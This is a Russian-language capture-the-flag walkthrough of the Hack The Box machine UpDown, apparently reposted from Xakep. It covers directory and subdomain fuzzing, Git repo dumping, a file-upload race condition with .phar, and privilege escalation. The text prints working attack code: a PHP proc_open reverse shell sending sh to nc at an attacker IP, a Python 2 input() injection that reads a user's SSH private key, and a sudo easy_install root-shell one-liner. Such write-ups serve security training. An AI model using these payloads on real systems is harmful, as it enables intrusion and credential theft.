Хакер - HTB UpDown. Эксплуатируем Race Condition при атаке на веб-сервер

Хакер - HTB UpDown. Эксплуатируем Race Condition при атаке на веб-сервер

hacker_frei

https://t.me/hacker_frei

RalfHacker

Содержание статьи

  • Разведка
  • Сканирование портов
  • Точка входа
  • Точка опоры
  • Продвижение
  • Локальное повышение привилегий

В этом рай­тапе я под­робно покажу, как искать скры­тые дан­ные на сай­те, затем покопа­емся в его исходни­ках и получим RCE при экс­плу­ата­ции Race Condition. Для пол­ного зах­вата хос­та исполь­зуем ошиб­ку в прог­рамме на Python и при­меним одну из тех­ник GTFOBins.

На­ша цель — зах­ватить учеб­ную машину UpDown с пло­щад­ки Hack The Box. Уро­вень слож­ности отме­чен как сред­ний.

WARNING

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

РАЗВЕДКА

Сканирование портов

До­бав­ляем IP-адрес машины в /etc/hosts:

10.10.11.177 updown.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та:

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Ре­зуль­тат работы скрип­та

Мы наш­ли два откры­тых пор­та: 22 — служ­ба OpenSSH 8.2p1 и 80 — веб‑сер­вер Apache 2.4.41. На веб‑сер­вере нас встре­чает чекер сай­тов.

Глав­ная стра­ница сай­та updown.htb

Глав­ная стра­ница рас­кры­вает нам реаль­ный домен — siteisup.htb. Поэто­му добав­ляем запись в файл /etc/hosts:

10.10.11.177 updown.htb siteisup.htb

За­тем я попытал­ся пос­лать зап­рос на свой прос­тень­кий HTTP-сер­вер, который мож­но запус­тить коман­дой python3 -m http.server 80. В ито­ге я получил ответ, содер­жащий стра­ницу HTML в тек­сто­вом виде, а в логах сво­его сер­вера уви­дел сле­дующий GET-зап­рос.

Ре­зуль­тат про­вер­ки хос­та

На сай­те боль­ше ничего инте­рес­ного най­ти не уда­лось, поэто­му прис­тупим к ска­ниро­ванию.

Справка: сканирование веба c ffuf

Од­но из пер­вых дей­ствий при тес­тирова­нии безопас­ности веб‑при­ложе­ния — это ска­ниро­вание методом перебо­ра катало­гов, что­бы най­ти скры­тую информа­цию и недос­тупные обыч­ным посети­телям фун­кции. Для это­го мож­но исполь­зовать прог­раммы вро­де dirsearch и DIRB.

Я пред­почитаю лег­кий и очень быс­трый ffuf. При запус­ке ука­зыва­ем сле­дующие парамет­ры:

  • -w — сло­варь (я исполь­зую сло­вари из набора SecLists);
  • -t — количес­тво потоков;
  • -u — URL.

За­пус­каем ffuf:

ffuf -u 'http://siteisup.htb/FUZZ' -w directory_2.3_medium_lowercase.txt -t 256

Ре­зуль­тат ска­ниро­вания катало­гов с помощью ffuf

На­ходим инте­рес­ный каталог dev и пов­торя­ем ска­ниро­вание уже в нем.

ffuf -u 'http://siteisup.htb/dev/FUZZ' -w files_interesting.txt -t 256

Ре­зуль­тат ска­ниро­вания фай­лов с помощью ffuf

И обна­ружи­ваем репози­торий Git, а это явная точ­ка вхо­да.

ТОЧКА ВХОДА

Те­перь нам нуж­но сдам­пить най­ден­ный репози­торий, для чего есть набор скрип­тов dvcs-ripper или спе­циаль­ное средс­тво git-dumper. На этот раз вос­поль­зуем­ся вто­рым.

git-dumper http://siteisup.htb/dev/ dev

Пос­ле заг­рузки репози­тория нуж­но иссле­довать не толь­ко исходный код, но и вне­сен­ные изме­нения. Для удобс­тва пред­став­ления я исполь­зую прог­рамму gitk, которую надо открыть из дирек­тории, где рас­положен каталог .git.

Пред­став­ление репози­тория в gitk

В репози­тории находим файл admin.php, который отсутс­тву­ет на самом сай­те, а это зна­чит, что нам нуж­но най­ти новый сайт. Для это­го с помощью ffuf прос­каниру­ем под­домены. При запус­ке добавим параметр -H — заголо­вок HTTP.

ffuf -u http://siteisup.htb/ -t 256 -w subdomains-top1million-110000.txt -H 'Host: FUZZ.siteisup.htb'

Ре­зуль­тат ска­ниро­вания под­доменов с помощью ffuf

На­ходим под­домен dev и добав­ляем его в файл /etc/hosts.

10.10.11.177 updown.htb siteisup.htb dev.siteisup.htb

Но к сай­ту нет дос­тупа.

Ошиб­ка при обра­щении к сай­ту

Тог­да воз­вра­щаем­ся к репози­торию и находим там файл .htaccess, который и содер­жит пра­вила дос­тупа.

Со­дер­жимое фай­ла .htaccess

В фай­ле видим запись Special-Dev "only4dev" Required-Header — обя­затель­ный HTTP-заголо­вок Special-Dev со зна­чени­ем only4dev. Так как всю работу я про­вожу через Burp Proxy, то у меня есть воз­можность авто­мати­чес­ки встра­ивать заголо­вок во все зап­росы. Для это­го нуж­но перей­ти к вклад­ке Options и най­ти раз­дел Match and Replace, где и соз­даем новое пра­вило замены.

Соз­дание нового пра­вила замены в Burp Proxy

Пос­ле при­мене­ния соз­данно­го пра­вила обновля­ем стра­ницу и получа­ем тот же сайт, но с воз­можностью заг­рузки фай­ла.

Глав­ная стра­ница сай­та dev.updown.htb

Воз­вра­щаем­ся к исходно­му коду и находим пра­вило про­вер­ки типа и фор­мата заг­ружа­емо­го фай­ла.

Со­дер­жимое фай­ла checker.php

Так, у заг­ружа­емо­го фай­ла прос­то про­веря­ется рас­ширение — срав­нива­ется с теми, что есть в чер­ном спис­ке. Вот толь­ко в спис­ке нет рас­ширения .phar, которое исполня­ется так же, как и .php. В допол­нение к это­му мы узна­ем и путь заг­ружа­емых фай­лов.

Со­дер­жимое фай­ла checker.php

Фай­лы заг­ружа­ются в каталог /uploads/.md5(time())/, затем из каж­дой стро­ки извле­кает­ся адрес сай­та, выпол­няет­ся зап­рос, и пос­ле про­вер­ки всех сай­тов файл уда­ляет­ся. Таким обра­зом, мы можем заг­рузить файл, содер­жащий код на PHP, и успеть его выпол­нить до уда­ления!

ТОЧКА ОПОРЫ

Так как сай­ты в заг­ружа­емом фай­ле дол­жны быть раз­ные, что­бы про­веря­лись все, я решил соз­дать спи­сок при помощи ге­нера­тора слу­чай­ных адре­сов. Записы­ваем в файл сто раз­ных ссы­лок и код на PHP, выводя­щий phpinfo():

http://site1.qw

....

<?php phpinfo(); ?>

Заг­ружа­ем его на сайт и перехо­дим к катало­гу uploads. Мы можем пос­мотреть его содер­жимое.

Со­дер­жимое катало­га uploads

Ви­дим вло­жен­ный каталог, наз­вание которо­го — это резуль­тат выпол­нения фун­кции хеширо­вания MD5. То, что нуж­но, заходим в него.

Заг­ружен­ный файл PHAR

Там лежит наш файл PHAR. Выбира­ем его и вни­матель­но прос­матри­ваем. Нас инте­ресу­ют отклю­чен­ные фун­кции PHP, так как боль­шинс­тво из них и дают нам пра­во выпол­нения команд в коман­дной обо­лоч­ке.

Стра­ница phpinfo

Мно­го нуж­ных фун­кций отклю­чено, но там нет proc_open, которая поз­воля­ет выпол­нять про­изволь­ные сис­темные коман­ды. Под­робнее с ней мож­но озна­комить­ся в офи­циаль­ном руководс­тве. Я же при­веду при­мер реверс‑шел­ла на PHP с исполь­зовани­ем этой фун­кции.

<?php

$descriptorspec = array(

0 => array("pipe", "r"),

1 => array("pipe", "w"),

2 => array("file", "/tmp/error-output.txt", "a")

);

$process = proc_open('sh', $descriptorspec, $pipes, $cwd, $env);

if (is_resource($process)) {

fwrite($pipes[0], 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.31 4321 >/tmp/f');

fclose($pipes[0]);

echo stream_get_contents($pipes[1]);

fclose($pipes[1]);

$return_value = proc_close($process);

echo "command returned $return_value\n";

}

?>

За­пус­каем лис­тенер (я исполь­зую pwncat-cs), соз­даем новый файл PHAR и пов­торя­ем все перечис­ленные выше дей­ствия. Так мы получа­ем сес­сию от име­ни веб‑сер­вера на целевом хос­те.

Сес­сия поль­зовате­ля www-data

ПРОДВИЖЕНИЕ

Те­перь, ког­да мы получи­ли дос­туп к хос­ту, нам необ­ходимо соб­рать информа­цию. Как обыч­но, мне в этом помога­ют скрип­ты PEASS.

Справка: скрипты PEASS

Что делать пос­ле того, как мы получи­ли дос­туп в сис­тему от име­ни поль­зовате­ля? Вари­антов даль­нейшей экс­плу­ата­ции и повыше­ния при­виле­гий может быть очень мно­го, как в Linux, так и в Windows. Что­бы соб­рать информа­цию и наметить цели, мож­но исполь­зовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скрип­тов, которые про­веря­ют сис­тему на авто­мате.

В этот раз скрипт показал, что нам дос­тупны какие‑то фай­лы в домаш­нем катало­ге дру­гого поль­зовате­ля, при этом один из фай­лов — исполня­емый с уста­нов­ленным S-битом.

Спи­сок фай­лов в домаш­них катало­гах дру­гих поль­зовате­лей
Фай­лы с уста­нов­ленным S-битом

Справка: бит SUID

Ког­да у фай­ла уста­нов­лен атри­бут setuid (S-атри­бут), обыч­ный поль­зователь, запус­кающий этот файл, получа­ет повыше­ние прав до поль­зовате­ля — вла­дель­ца фай­ла в рам­ках запущен­ного про­цес­са. Пос­ле получе­ния повышен­ных прав при­ложе­ние может выпол­нять задачи, которые недос­тупны обыч­ному поль­зовате­лю. Из‑за воз­можнос­ти сос­тояния гон­ки мно­гие опе­раци­онные сис­темы игно­риру­ют S-атри­бут, уста­нов­ленный shell-скрип­там.

Файл /home/developer/dev/siteisup дос­тупен груп­пе www-data, но будет работать в кон­тек­сте поль­зовате­ля developer. Если запус­тить файл, он зап­росит у нас URL и ска­жет, работа­ет сайт или нет. Я решил прос­мотреть стро­ки в фай­ле.

Стро­ки в фай­ле siteisup

Этот файл запус­кает скрипт siteisup_test.py, который зап­рашива­ет URL с помощью фун­кции input(). Дело в том, что эта фун­кция в Python 2 может выпол­нять код! То есть вмес­то URL мы можем ввес­ти код, импорти­рующий модуль OS и чита­ющий при­ват­ный ключ SSH.

__import__('os').system('cat /home/developer/.ssh/id_rsa')

Вы­пол­нение кода через фун­кцию input

С клю­чом SSH под­клю­чаем­ся к хос­ту и забира­ем пер­вый флаг.

Флаг поль­зовате­ля

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Ин­форма­цию о сис­теме мы уже собира­ли, поэто­му про­верим нас­трой­ки, которые отли­чают­ся у раз­ных поль­зовате­лей. И одна из пер­вых вещей, которые нуж­но про­верить, — это sudoers.

Справка: sudoers

Файл /etc/sudoers в Linux содер­жит спис­ки команд, которые раз­ные груп­пы поль­зовате­лей могут выпол­нять от име­ни адми­нис­тра­тора сис­темы. Мож­но прос­мотреть его как нап­рямую, так и при помощи коман­ды sudo -l.

Нас­трой­ки sudoers

Ока­зыва­ется, мы можем выпол­нить вот такую коман­ду от име­ни поль­зовате­ля root без вво­да пароля (NOPASSWD):

/usr/local/bin/easy_install

Easy Install — это модуль Python из биб­лиоте­ки setuptools, которая поз­воля­ет авто­мати­чес­ки заг­ружать, собирать и уста­нав­ливать пакеты. А самое замеча­тель­ное — то, что easy_install есть в базе GTFOBins.

Справка: GTFOBins

GTFOBins — это спи­сок исполня­емых фай­лов Unix, которые мож­но исполь­зовать для обхо­да локаль­ных огра­ниче­ний безопас­ности в неп­равиль­но нас­тро­енных сис­темах. Про­ект собира­ет закон­ные фун­кции дво­ичных фай­лов Unix, которы­ми мож­но зло­упот­реблять, что­бы получить дос­туп к коман­дным обо­лоч­кам, повысить при­виле­гии или передать фай­лы.

Опи­сание экс­плу­ата­ции easy_install при sudo

Так что мы можем прос­то ввес­ти при­веден­ную коман­ду и получить коман­дную обо­лоч­ку в при­виле­гиро­ван­ном кон­тек­сте.

TF=$(mktemp -d)

echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py

sudo /usr/local/bin/easy_install $TF

Флаг рута

Ма­шина зах­вачена!

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei



Report Page